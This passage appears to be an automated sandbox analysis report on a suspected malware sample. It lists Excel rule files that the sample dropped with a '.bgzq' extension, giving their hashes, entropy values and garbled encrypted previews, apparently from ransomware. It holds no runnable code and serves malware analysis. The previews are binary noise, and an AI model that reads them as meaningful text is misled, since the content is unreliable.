Preview:	<?xml.3.]~.U^Q:...`.....%<..{hpt..fZ,.%[......s..1S).......7wX..s$.w.tuBM.23...g.j......k...YFR.b.R#O...l.t........_. 9."._8>rh..T...au..>..9...n........E4558.s.k.s&.B..`%%.P._S....X?c.....x.L...-2x..2..9.$z@j.l..e....6...../fr...??h..........h....A.QI.f........1.o......J5..O.......\..`.J..Vc.:.]....8...X...".6.t.v.'V.t"..#."......S../...#}v.X.^v..e[.P..n.gz;......Z..\|....5.A.....3...=...L..{z.(.... .Gb.E...4...r...Y.......@.pl.lXi..1.h-...`........BiBhA..q.J... .q&......p./J.u.h;..zW.1k#..^..K..L".(U.dB......f.....p...@....tS.V.....Tj.L(L.0....x.(....0.q..\|@...._.........>.[.C....O....5{...;...p.5C.\|....l....'rOH.7.e........v)..."VG;.}PY)...m.......).q..e..V\.X..1..D..w..p..E.E..."..w.L8=....,0.[..1#.L#.".NU..x.7~....{s.$(......_b.YmV.w....;?]....uj.c.HO?f. .S...!....f{g.....{..\V.1.*.HT.N......x(...P..N.f.....G;.R.E.E.O.....6"S.Yp.P.@S..k.MR..?.>..eg.-..&w..%...I5.....R....KF..q4..'.1.....x]..`0).-...m.k.=..g\|.-e}......u...C..~6

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120107v6.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2514
Entropy (8bit):	7.928718512242465
Encrypted:	false
SSDEEP:	48:GFUEN1MezxKzJLYiBrXPSvCqX65kp5wUJNoGRDeHfZvZb1Epxr9CUuyu5hFD:m6ez2ZLM6KwUJBkHfZvPEpxJDuh9
MD5:	90C193EE67A583C0C3118C4F4FB0551D
SHA1:	CE453AE41CA08873B560B366D4B1C0EC63BDB10F
SHA-256:	B59D172208F54483E2427C0FFDFD5A96DD7D8C812061F13E4D7F3477A63BFE20
SHA-512:	B56FBEA829AC0AD64A972233615C7CA4323049F2CD84D9E049D9BFC50AFC9FA390DE142236323F2FADBBA6994BA87CD322470BC6C55A05AE5BA6CC9F86AD46BE
Malicious:	false
Preview:	<?xml.....d..6u2.D@.>..hU..P.....'...{r.MlIR."G..GP...=....m]B.f.3.UeQ$...]-q.'E.\|...B.y.Y.+\q..(..'.}.....`.G..4.".g.\z...h5g...+..`....!s.J+!.^....x...&.'%....K~=].x.8...:['.....yPpX6....%..1S.......W.......1``Q...&A...#n~b....I.,!R.5&7w..?.}s..a}.....( (G..........6=...^.+.kC.m..r&.[.7..D`.N....gQ....B...O...,J.....e.46c.T.....z.3z...@QR.o../m..C$...k.l)..2.......@wx...\..9Xn@)....'\X..(.Sj.9.'.....;}.. z..2.<~\..F={..M.Ji.KJ.?....].).&..+.Y.2..x.Hg.B......7......{x......,.E0.!.....v&]6.#..b;T........-...W..TUf..s.l.....Jf;..w.6....l.E..?.O?.R.X.....V.`Qx.To..Z..0...-..J.:(.F._fnDK.'..8S....z.......:$.HJ..V.P..J.!0.H.)..5.e.(o.7....@....x1...C.1...8....y....?... .$j9Vu.._.e*.\|......L......w..4.&..w....L\|h...4`........?.l.......')..z./".j...'...r..>.>..eP..BM.F.............2\n...j66jG...5.t.>5S.T:8r\.T.S..X.c..AU'.2...'p;o.....l...N...O..a?...............B.....Oa3.c...-kMx.G .d'e2x.y..$.J~..=G..-.k.#.{....7:.H......z.._..,..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120110v4.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1346
Entropy (8bit):	7.843469000772668
Encrypted:	false
SSDEEP:	24:ekiIOAjPGWPiBjxECisZycHoBcSx4Wt7JcwA3BGOCruIXhzjPc8VbD:nuW6jO8hHOcnWrc18OCSGFD
MD5:	889811823A2E04AF0EFA6A966F65D2B1
SHA1:	F625FC7B2269D28E75A5CF680595FAD5C55CA24A
SHA-256:	2C42A8EC0283F66DC5135907647EEF3EA27BE7E327F4D93A291446ED3BBF0917
SHA-512:	BCA533154F74F5392907F4C5C1A2E1396C7929E2B41B2194EE1D8102C7FBE491F7D7350F671C911F13D32B9FDB13E01BB0DF2B8DD8F65DE40D15E9623AC1C6A6
Malicious:	false
Preview:	<?xml.[>v.c...,...X).....>?.`.r..............n.s........=J.i.9.8....i..T...>b.q......no..8..A.$~<\|G..C..P.....0..s.hf..n.C(..,....4.1ma...A.1<..d....x.."..{/..._.....<....,f..9..D...#=a.o...J......#..].!.U.OZ..\|.....v..+D.x..8......oy!Wu,w.....M...hs....)N.^.....\|....o../d.....].6..).:-3...4.iR..f...t...\|@n.^kJ...s&.......a..0.4C.. .v.....O.c..}....zq5...I.U.....n..XI..k.-.-m!dK......E.5t...-.Y...d.`j...X7....g......3.............D..d...K..v.....?.......8...T.2..MJ..)..^5...Y}..w..7.n...#g......n`6.v.0]...u.i .@^..`..x'/.'3..j.6.g.HR.cxM..J.I..@+w.ok...p.L.3..0....b*b..F.&7.G1P.O.F..bC. ..V5..-..._.m...`.}.......0.E_.....R{%.L.y$<-.3..y...r/.v..x.."XK#.O?tG.<..qRd..L.Zw....%...........5.....<......j..\fE......SD.:..V...>Ny....eFA.QmK........)6Y..b...T.../B.....hXd.?.+...2....,+.j.A.n.(.ikW...<.....M."IG..W.Y9c..kwW3@.h.V.T.4.xb..R.b.......L#.C.../.v[>^Q..r.wR.9w.....kV.....].Ui..>.\|.:...w.c.F....3l.>\y..p...)..%.I{..x3.1....x..&4`.r.0

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120112v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	7.839526786404556
Encrypted:	false
SSDEEP:	24:aQD1+EzWmBAEPJmp/FGK1F1Q4u+2Apc7jvJDcpVbD:ae+EzHVPM6KS4KApGjJeFD
MD5:	89F9524156C56C39091D6ED636481793
SHA1:	D2D7908E91ADD376799405CC909B83207B16617F
SHA-256:	68BF2C925D5D675181E0B44931FD9D9E715FD9657AA7C122CC9197BCFF2BCD05
SHA-512:	B159A814EBC078AC9F9141233815A74023284002CF1B82F11D1CE73E0D57EF31E3AFFFB7C17F02FB55F3CE7389931017174733E2B5A07FF498242FFB47818C88
Malicious:	false
Preview:	<?xmlf&.Y....x.......^W...O....H..?...sQN..@.......:U.Ze.....(.Z.n..\wJ....j.V.....T...`HT.]}<../....\|P.'i..2.D..To.pyb}.-.6].~9.J....a....TL(r.a....%..sXb.dM<.....%.Ch..1..Q..%.\..X.....c.7..N....G.Bu.N./C.&.i.\.A.$...-.(..p.~\|....w....w.U.1.\...[....U. ..xf.(..X...u..b.JD.......".b.L...../.A........3N!.@..F..U.-jG.^p....tc.X..n..Ey...Js=.........s.y..v"....P.(u.0.(.1...Z..g86i-."..Eh...q...H.wM...l...J..cH.He.F....-.........b... =..R4.7.....vl..G..J.9.(..!k.3. hD...@.6.p..B...09.X...)M...OF..!..z.`>....x.Gu.-...$.W&!..M...x..#..;8h\|^.v..H..~(...G.t......].....}..1...?YL.a.~.j.F.k.T..X......#;.....:..........:zk..G&..$...[...!.s..L......\|..TN.A..3.......).^"h..o..U..4.....(...3..Gl.7..=_..p%..K.45...:.....0.9.Z.,.....4..f..(!..........N.",.t.?A..Rz.O2v...dI@+.f@..Xg..n.#Z(.I.(..)0r..T.........L..Ka....^Yn...^.-.$.6..`...D.....z..Pt.....\|x...[.l......{P.@;..hb.....'...(^..<M...=D..M.....I+.....9....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlg

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120119v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	7.871518419625684
Encrypted:	false
SSDEEP:	48:3JIOE2321W7pIiQFeyHvp/0T9sC4L2ecFD:3KOzG1W7mp1q9sjlc9
MD5:	BCC7E5CBE021B2621EF2F5098E80377D
SHA1:	F4CC55B8CFBD28B388538BA20D5BB4B1550D1A65
SHA-256:	5D43ACAECF53FC01297BC991A6BEB7CEBC62BF97BA43E3EF31A5100C28170CFD
SHA-512:	6220EA0F80D441EF9BAD7A79BACDB667A3D0E8FE0C0E30B1D524475E157D1D0B12D7D9C6241FCCEBAE520980C597EBAA9BF851D988F257AD7BA00C0B46EF02E3
Malicious:	false
Preview:	<?xml..i2...z~.....S.P....m.L.').J.......M".A%.o.8....o,wC.b.......i.e....M.(..cy....I.......4.O...w7.?,s..Q...DO...T.S. N@...X.....lIL.P.oT.L....Sj.=.nK...'.}..m.y..UzFn.......\P..J.S...O.....p.\........F...{a".95...7..od...\|.[..K.5..7k.G.D...v.#..Y. .h...P.7..8'K!.............r......\q....[...5.S{D..W)C..U.nL..._...UP......tm`..8C.'sF..l(.Ff.Z..(.....Wd......kH.8/tZ>....^F.@w........ys...H....<1e.#..".....F~x.n..j.$.f........].L.R.]O!....9O.i<.&..........A).....D....idH{....`..w......{YF.W@.A...M..%k..w...m.w..._....n...........`..O..B_O.. ^+D.^).e.M...F..6.N.[G....wU.8....6.X.]F...f...........k,.....(d......%....;...[..-..b...S?.Q..O........T.....I..y....i"....&.....,.. .r3v...<w...~............:..r.=.tI:G.6...6Z.L....J..?l..x6E(,...sh..X.j.!.A...y8^....b...T.).....[.K8\C...p.../.@.>&..G.?h.z`..f5....,....F..WjC..&...A...=...5....{@.....{..@.PFZT#.=18..<......N...."6..m....,...i....E....uU...d1...&....gMTB...SV"i.S.Vqpa..X...1..Z..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120120v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1195
Entropy (8bit):	7.802958038626728
Encrypted:	false
SSDEEP:	24:tXDmxHAf4ln9xkbgUu/IYE16yvsFoL2GXv5IyAVVbD:tS2fG9xkbgz/IL6yg0nvilFD
MD5:	3226C14530A465C1E9120F58F09174D9
SHA1:	4754588CD9659FC3CF894DC0FBAA8EB73D77355A
SHA-256:	26BC68407EC87C8D0E93AB76A2AC20558B06C221A7818515CCE1073E658E3AE8
SHA-512:	7087E28C09525E971E9FEE41C578BA2CDE6555D1FD3868345CC27281750F21B86B5CE5EA85DD264D83355D77B3AEAC0A2012DADB97BD0C316C680C01450F110E
Malicious:	false
Preview:	<?xmlc..3;..C.K@`.Jw=....p.a.;..Q.. ..7B[.R.>..._a.I;Q...,..zbyM.sR...S..a..z..f2\|)..Z..i..<..<P....].rEf.S"..<j+.VRuE.\|[.k..N.D4.....L..a....5...F.6..^g....U.K.X..~..9cd_.{...*...x.;.........:\K.F.@q......[c%Ec..@LD...K..x.)U.EM..8.7Z..\.....'.7.....y.vs.\......P..?..7..J...ER.:.I#....Y.j....Lj..K.I........r.Uw..Ox.3....y....T.G.....hZ..v..Jg.k..pd......'XAe.K...E.....'8..c...?...G...P..9..F....e.Ox.U[.....Ki..9......i.U..1"..5.......C...../,.fh....!A@.........{.D..,3B...Y..G`Z.Q....+\.(..g......h.o.....i....O....SU..z........qV.K..7...7..s.W@.OC.....7...}E?...X.{.%..L...Q.x..x..3P64.k.V...i..../..V.M.{..C4fn.u.......cQ....D..P.[.!...=.f..%......#6....p...P)..o._..5Wc...}..._f...]...Qt..E.i=.i...r.4......2..P;.Q....W\..T..T(Q...$Q..e..&YB...\|.'e...L....M.n,.q..4f...=..f<pI.fd....$...xK..,.e......9u...^....;S@..w.B..@...'..P......5..l....../.%lL.......U......\.9......&.......D.>j.2.7...H..T..]0'...p.s..W....Z8..4..Z;.P.T..}..-Bh

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120125v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.8397532037921565
Encrypted:	false
SSDEEP:	24:7GSXiSasD2TMOWu2MjP48gUMEpXo0m+dsxGHfsKyNYDDjVbD:7fXNqTlPj0UZ1hmWsx5K/jFD
MD5:	1BFEFACA9A8FF00DD1F806C1DDAD54E2
SHA1:	3D3DDA83025C3E724C1EB04424397C5DD5FE29C2
SHA-256:	05AC052EA268FC70C99371D87C06799BAB5CFA97E5DC386197089F45682F1FB7
SHA-512:	0F830AC852369E0FB5599D14E99701277E829A1C81374B7C9C92B829EB07F0C29B6E9AACE7A37EF1E1D3D537DED8FE20CDFC903CB88CF4AC9F970433F3FE1B9B
Malicious:	false
Preview:	<?xmlX..8.@.nD..h.=..> .o...;..x3k(..u..`..O.F...=.=...D.R0..H".%....<.......X....n.....C...2V.4...r.1./).^..B.{}J..%(.T.5.1 /."P.D................0h..G.I.d..G..`B..g.^.7.@...t.AU.z..p..&..._`..\|...._+.......lW...7.k.4...d..A.a<...<#...Kc..I=..b..w.\.GU..1Dr..R......N.E$j'.px..ldu.mw95.4.......x......m..((. K.....[KO.L.QD..:.8d>,....%Mi..MZ.MZ.'....n..6\./#L......&....$....{.)..x..8..%$k6.tV.:...[v.D...e.U...es.wS.\|..!....0.e..9.............I...c.p....]...<.:fB..t. ."..W...a. 2R..p1A.30>..G.~.B.......5L.....M..1&..bs#..F....U...7.b(..x..!.{o.wo.i.dO.h..$..$...........{...:Il..G.q.c}r_bw#ET2..ft.fX....Q.e.X.W..;z..c.t.._...!t........P..T....D...ti....G.1.Y.h...4.l..G...g.Y....r...A.S.8f...U..d.t.^.2qX.i4o.....v...<..m........&.H.e.M..f.c...UYi..m.Y:.._.IC..=.............U.hT..:[..Q;7i......H......ho..Vo......"./=w......)..........g..@..j,.(..D$..h ..:...-.M..........rG3..^I:.F..*............Z1........K...z.8p.].r......5.B..U.~.....a.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120126v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1994
Entropy (8bit):	7.887436658693322
Encrypted:	false
SSDEEP:	48:Wi1weUOsbwQFja9UAslQoJoRUllKgLNjnETmzdmRmIQ1VbiPikBRFD:p1wex4OslQVJgL5nxGQXbCv9
MD5:	A327673DDDDCDBC4DF79B09B563B861E
SHA1:	3A8AA6055F350C907FD5E96DE8E66C17DDDF62DA
SHA-256:	BD34F530CF4F06EDA8080E1119635E40EF4FBDC58673C38F608DA11ACA1EC1C9
SHA-512:	A7089B91F5E71DB26223BA43F88FF1C3393BF001C9C92B0CBB95E90BD75D9B933B1F2C6A8341ED5DA519D96A9B3BB2603D773B9D366C8B106AF5A981B953D309
Malicious:	false
Preview:	<?xml.~.........u......H..._+...TX&..4...9.9.z..E...6m.\|.........o..3H/.r.a.=..QV..\|\ ..nD.=Z7..24]g...HZg]O;c@'.Q0..n.y..[....z..jz..P.,...h.y..{..%4..e..k...\.vPT.X{-.y.....6............K.X....T.6.......=.>..G9....V.y,....%.&.Wf...$....tR...>..=.1b.1.?......(.{....L5\.....d..=.<._4]..?......$....k).E<...-..%.cO..l.R..Z-.Q...[..4.`..2..qZ..<.....W-.. ..jU.P$r.u..3.<..2..QZ..<.2.4.].~.m...Es.\..uP.h..._.......x.M@G..p...o.#`.`3c.K...!........X...2Cb....}m...U=....$....c......{=u..A.....]..a...O..d{x.Z..M@0..L..F.O...@dV....c@....Z5..:.....t....v*$...N%{.-........:x#.......;.......].m..:.E..+...J...h.w].~j..c...<.=@..n......4C9....?7..q..@...x?.Q...Q..~..._q......1...1..Ds.. k..........F.Z."...if..-."k..........}m.-.U..)..Z..9.x....[.^._f.l.....B.,',.j..p~P.. :......7Q3........1H.....~..Tf.%H......N......G.O/.D.#7...M.tV..+....~i..kGb.W.l.....:....(3B..?..f.....k.tV..k..5....h1.......b...TZ._E.4NA....=.Q.:7~}SZ...)..~OWB...-.6.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120126v8.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1506
Entropy (8bit):	7.859393053951772
Encrypted:	false
SSDEEP:	24:U84JjmqEDeUeHHYGtZxMO1s9Fe/+cmNvXx9s8afRL3ntEX7sXh56ouQ9EjvDbGA2:U8cmfDebHLi8s9FemNvXLs73tEX7sXTD
MD5:	DE32C9348F40EA9A5FE1DB17C71D2C9C
SHA1:	E4438D5BAF3ED0099A665084D1C29D733AB3C8F2
SHA-256:	0BC02F700C7F01E55EB1920B7FD3932233B123094DA2C6C38E7C18AF67992BA7
SHA-512:	B81ABBA2D0D0AF3552F1B7A928251A8EDDC3E8B7D20AF699592BD5948D77447C1821FA3DC43753D145C95BAA60B8D3E2545189AFACC76391DC7DBD8E3E313BA0
Malicious:	false
Preview:	<?xml.....M6.{.E.>....c.8..t.s..j.b\|..O.k.`.$..I.+..y..eM.!. %...@...b)X.Y\|.wa..3.....]q.....}.o.q0..................:...J...=...q.J.b....\|.R+..O....e..$..t.l..ZK.,%.rG..Po..r-...\|../.A.)1..........)1"\|hK..F..s....x\|4..g. . .,..fxH......a94@F...W.vLC..N.~nP@..~.2......{~/..H.w.....3...u.......[.....x%g.a..O.^/..='.O'...x.@x%.].XTW.^.E.1C.YCH._..v...h.5...G...6..!(....D....x.H...O..x.I.....l..J....p.QB...w..j..zS.q..U....a...L....r..ir...r...0...~..U..op.C....3.~..>J..Oy....R............./S.\|..cU./2ksGe..!..^......G...N.....q.........%fBC.e.{...:.6.M..<f....g.l...n..+.q.n.o.>.V?..E.2.9.9S.n.Z.O..z.F<....>/9qZ..T8.r .qY.....6W.......+F...%.p.\:..W.6.+..Lz..hG-.....n5p....>....@.gJI..3.z.....q.....[.cd.6.J$.K..x...\|3IKzV..w]v..>.~$.......IA..dj.....8........[....8_..!....zja.......\|...l.8..m..h..,..i.$....A.f..N).a][..2+...]./4u..V.........(/.P).?.%X.9.x...'..J.v.o..."+(^X..Z...g.=x4.!...o......._F:..A..b.wPJwe.}..+...S`w..8...=....9....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120127v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1511
Entropy (8bit):	7.852747244814035
Encrypted:	false
SSDEEP:	24:MJG2XjryC8NtgMFWJKV6MFvrjFgdvPAbQKmJBdH1eEkiIYUpaI2UUP+v4qj2yjc9:MJ9/yC8YRJKV6MtrjFWAbQKcleMKGUZq
MD5:	AFB0082751CC21B8997712B31C5F86B0
SHA1:	568D398189EF2105A21F5D6C84375BE8126A4959
SHA-256:	5B272E00872F6008C16C245F0A255EA2E79A70B33A310905D1BCD53017EB0559
SHA-512:	9C7371A8AB5EE6F23A08526C372CA02CF683AD235A03EB4E0A4C62F6AB79A65416C6E695EE9D9BBAA51EBB6DDA12DED073B24774632706A7F9905741CE511356
Malicious:	false
Preview:	<?xml.n2..k.j.kG1...W.f.y.../z....1.U...0..../.%...\..qG.d...-....t.NV.....6\..tR'kc,.BZ.1...mW\|.......1.I.hA.E.V./+........p...W#3QHH.JP..j.@...r.)...[ %].X.-...Y......3zJI....Dw 1....u...i.=bq..'t.....!....p.d+.Y..o........].G.b`1by......u4$?..p.x@......jS..&d../....\|.;...}.!..._g...R..0K...........C.aY...AU.b.-.F..8k?._.^...Y/..I..b...+...h.....`....R..oN.u...FyN..8).e0....k8.6.....S.}...........=..^Y.X..32~..U..N...mk.I..Iz..O2.Xb...:....]...6x......~..3]4..$...Fk..x.M~...,bV=..u.U...%.....y...Qy...n.Jxm..;9.c.W....R.e.....].J]..n..FQ?....G.a..O......rO..4~6iV...nP.....`..E..L.w@..b..w.5iy...e...J.v...."D..J.....a+.5.O....~[B....t.?..xh....P...U..........K....J...{.K.1M.w.&J.?.V.jD9c2....F..'..e.^m`Y\|.c(.....i.'.{..@.@........G...VE.wk.0....>.g!.v.....-....I8.<1g2.#.DQ.j(..-....{...S.../..I..3.d.9..4z....S).p..U...._..#O..=.D....p.&.f.../.6..Q........{?ug.Hg77...I....,....a..K..'.....0.............D.v$I..6."~..}.........

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120128v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	991
Entropy (8bit):	7.793193588078544
Encrypted:	false
SSDEEP:	24:WMjTi/MTIs4mBmj1QAxXPZkzdduqdxWVbD:WMZTvSxfZkzfuqSFD
MD5:	EE2423D22533B0541461C8C6A8635380
SHA1:	9A1C6AA461FDBCED8273378A665DE13C5C298EDF
SHA-256:	2FC1B7A566EDC3FCBB80933BE5266F6787225703D898E22C2B6AF5D8A50CCB70
SHA-512:	37694EC321D7651D2BE31E068560628518D6F7EBAA7802107F1DCB0770DD4B7BC2E5F3A399228874FBB441489BADEDEC0964763DA5A9C68EC00956D8E1D9B1F6
Malicious:	false
Preview:	<?xmlI...).......X..^.(i.[....[..Y.fFQ~...&.7<..{...}I...JF..Oqw..}.F{.U..j....hn<.h.1.....)a..u...\|....;....^i.c...K..a....u..@T.P.......2...qm.<..8...Ox.JO........)\|.e.o....S......Cw1.-....;..M.......q.t{.O2.)N..f.wJH.f.Wm.O.U.a.p".....2.j0.....G......k-.q....hv,..;...6<.&.G.Y....%."..:.]c.....>u^....E..._...a.B .......u.Q.&...b~..Vo.W...Co(.....#..t`.....Q..6./'.L... 8....y#2....@-E9..W.Z..(O._.e.q.:L.c..G..J...;.\|....N.W..v.-....t.3,...$d..;....=".%e...ni.....&.-....R.O...C!K.z.:.uz...W.y^.+!b...j..,#.f...f..F..._>9y....B.I....TK.#....1...V..u0."U..........A..E$26...n..........@.uw.`......HK......m..7.E.\|.(..F}.....uG...RO.'.-....%...Z?...k:..v....%..;.M'T.M..@....n.....b.>.T.GI...l.%.~.x..6..:.H.{..\eR......C..-.\g.Q{1#....3..31.Km....mm=SK...#Z_.u..F.<....W.6..lHc..}L....)..H...D%..>u\.X.....8q.i..l'.O...d.N&.s.......-.~uI.\.....X....+.........Y..{itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule12019v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.951709944525304
Encrypted:	false
SSDEEP:	96:0DTNQ0861i6wBOi62tIQO/HoXxmzxIjOnk71i9:0XNQB6gBLtS/kLy
MD5:	B676A56D8B9F645378FCF71DC7DA5739
SHA1:	5BD1135850722BF76FD26FF3C1EEAC77AE7730B6
SHA-256:	47898EEABCAA6730663A9BF807596C7FDF3715E9EDC7A1BFF3EE47F2AA2043B7
SHA-512:	2329C5B1AB1F4553F08291087526097B5596A0524AA169F3D3A901173E490DF69A3F88E6CAF2E1745F04FA8EA998F96B67439A4DA1D63D0634EE495984423F6D
Malicious:	false
Preview:	<?xml...h.>0.]..`...Z^.D....k.f.tH...1....t.-...?mw=..[A..l......}.......lW....ooQ...R....rx.X-...{Wkd.E..F...........3{?...d6.[..x.....e...!.]..cM..M.P.....C....".D...(..(5..E..d'...+..3.;....z`^Z.4.......xH...#........=.&.....i6.k.=..@..K".8i..@Z.\|.KJ..V-..8#.&...,K..h..!..5..o#...;pzDB...{..s.F...~.;."...+..h.y.W......x....h.f.G..ScC.....M@.R...(...h..].u.g.j....8n`Vl. {$.].A.$...(2./I\.....t.$.E)..oi....W.d..,.d,...N.\..-F.-#..x ...H...:?.{.....JIcX../b.....qi..=d.+...._.j.v.<O.B...G...:....x.c..e.o..............._....i.QV.nF...(.+...~.,~..:...T..=h.n(.nz.j...kSw......".L;...O.jw..zhdu.9..]Qz....g'<..K..Id-.....>D;..x.q...tK.e.l...t.`-`w./.T.....=JO.54j.k.....'.;....A.{..O.....xEj...5/.c.[...H^.......\....c.]I.t..u...tJ$..sX/Q..F5...I....U.." .l........."..I.._.ja..@....`..$...'.4..hr..........Q....x.#..Z!q.....T..Pl.....w....:s..\|....z8...4LZ..W...z.e2...2.}h{.......h5...+...s.AV....7..Y.N.d.t.~HP.5s.a..s...h...+Wb.....x...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120201v14.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2974
Entropy (8bit):	7.927425424482281
Encrypted:	false
SSDEEP:	48:Cp0nDuVOiM7AGB283tEzl6ybtNzYqmEcvVgUlHHTkAKxii/6uYhrDqFD:Cpoiwi5GltEZt9YV9N3tTkbii/SE9
MD5:	7A3BC018CCAB014011A984229C1E404A
SHA1:	E3DFDD692F02253217B14DF4B275A5A28A047017
SHA-256:	EFB99CCA6D4C84F1366580CFC2322A8A5834E7E5E423299277D0ADBD07D1CD4C
SHA-512:	81B5290B4686507BFBD949CAF6DCBE05F348FF470C625D97C2AD8782BA45596074C9638323BC26290482C218D35F42DC6B9CC285EDB1825B2ED17C1D788351B3
Malicious:	false
Preview:	<?xml.."=.....$.A.J....r.Q[. ....b6.E......p.r./D..v..Q...$....h~..Y1.....xR.....\|..Z.G.........._.J.rP.N...).8..........{.:.O.N...>v.......B{..^._...O..7...1Jy.v....v.4........% ...L7..n....;.;h.^.5MW....l+03r(7.i..%.}..C.....o0...(.......7....e.EP`..7.v..W..3_]......I..hzVMPr......n...".-s...P..$..N.....".3..Yst.-.............b.d......8..#...m..../&.....N.g.<...{.f~....N6.+@P......z;......iLG=.....x........`#..)..l...k..KS1{{...T..4e......~.::]G."ei.OS_.G.e./.X.O#..c...+...8E.t...DT..Y...H..Y...@..j.d...)......scp9..aK....)..R......w..m.. ..h.....M....i.\...H...V../..`.K4..[,.V....8P.........3j....0}...l%].A+......:6G..T.S8.h.......^..qT@.....r.....\.-..cx.e.XQ......H..e..0....j*..S........"..\|........7^.. ......I.Q..l.e.#$yY0...D.S...lX.......1.......kG{z..G.vD....zD.w:............./.....'...t`..F...(.....0#,T......9.#w.c.N.8.....Tm........>.Cv..H...Xy...w..........&.22.v..^.3.b..%p....._..#. 5a..j...2.tz.F.}`..].....H.,..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120205v11.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3363
Entropy (8bit):	7.935839791462094
Encrypted:	false
SSDEEP:	96:DyOFoDWD4bD19VCRcydCq+dTuY9ayUE8veO9:DytDWwj8aygDTuYm2e
MD5:	095E2406197EBF481E25500134136F34
SHA1:	DEABB8A13D39B0A3531D3ED4810D280916513F2F
SHA-256:	0172079330187BE426025C3038A53BCD54990C06B5619917BB16D086B0002729
SHA-512:	91C93A16955BBEACC6F84226ED2D111D8DC2EA03E46F6E1F43FFA033183F522D21A90430BF5E60BAABA063FBF9BF31D5894A6DDBEA95728889BEAE41B61D6FC9
Malicious:	false
Preview:	<?xml.6..M.......F..0i..Y...Cr.y.9M.Le.g..vHH@+......h......T....e^....?)f#...[sP^.1@..".Rf..2./.8]..v.?..7..4.M..=a.....m...i.B.....W....n.xc..Px?.......3.BA.......g.7....0}9.]a..u(..;..k.T....A..um.J.po..g...(.....VV,..M...5....U....x......@.....W.z....+".X............m.?.aZn.....CJm..!5...{..B.?'..P.r?H...F;.......r.qc.hl.2."..Zw...g.?G.v..@+..m..m.k..tP&dX../#.#N...Oft.....dM46..]2Y`....c.V...<.Y......e...)..K\|?D...A....S3v.].v..0.i.....J.......B(S..].k.R......m..R.Cv&.g..._E..3....r.V.p........i...K+..~[.._..b..SId.T....m....].A..j..]M..dx.7.t.>r/.1.......nD....(.!g.g$.-n.6J.c..Y.....rab.eVo.......P>......_...<...0.%~.:...Q.t.R....w...f)&...Kh...p.0..;..dL.K9......"f.Q.....4W...j..\.sI..........R.,...sR.N:..Q..\|}........z..R.,....e8.3g..F..L(V....zp..k.UR-T..^,....V.6.z...5........G...V.=@.hJ.iN..^F...!W..m/...Ps...qm.I.....'.....R.....+f.&..Y..qg...\|2....P@..f.!..#....+oo.i.. .R.&...9....M....W....'.>.]\|W*.sg.C.].w..N...a7...d.\|(BVZ#.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120300v3.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1295
Entropy (8bit):	7.857546672222865
Encrypted:	false
SSDEEP:	24:1593KST8FWk7UXlJYXHyoGJWqqgufzgnxFlJjrxZ8IV2MuXvZVbD:VT8FWk7QzYXH+W3f6jlNlR8FD
MD5:	872176A0B090220674D5147C6AC71682
SHA1:	9BC0D7A5499028C2FE8D8E825D8C8E36800678E3
SHA-256:	4E9EC33D9F0ACC3D8B997EDEAF0757CA082AA75FFA515401BBBE03146C0B2928
SHA-512:	8AC64B7321FB6E030F8AB077D062914D4D3C62370483E6BAEA6EB5DF4B00DC8E2C47D6351B7E17863E2B90DC57DF4424051D5A9E4090C56F5817A49D8747F13D
Malicious:	false
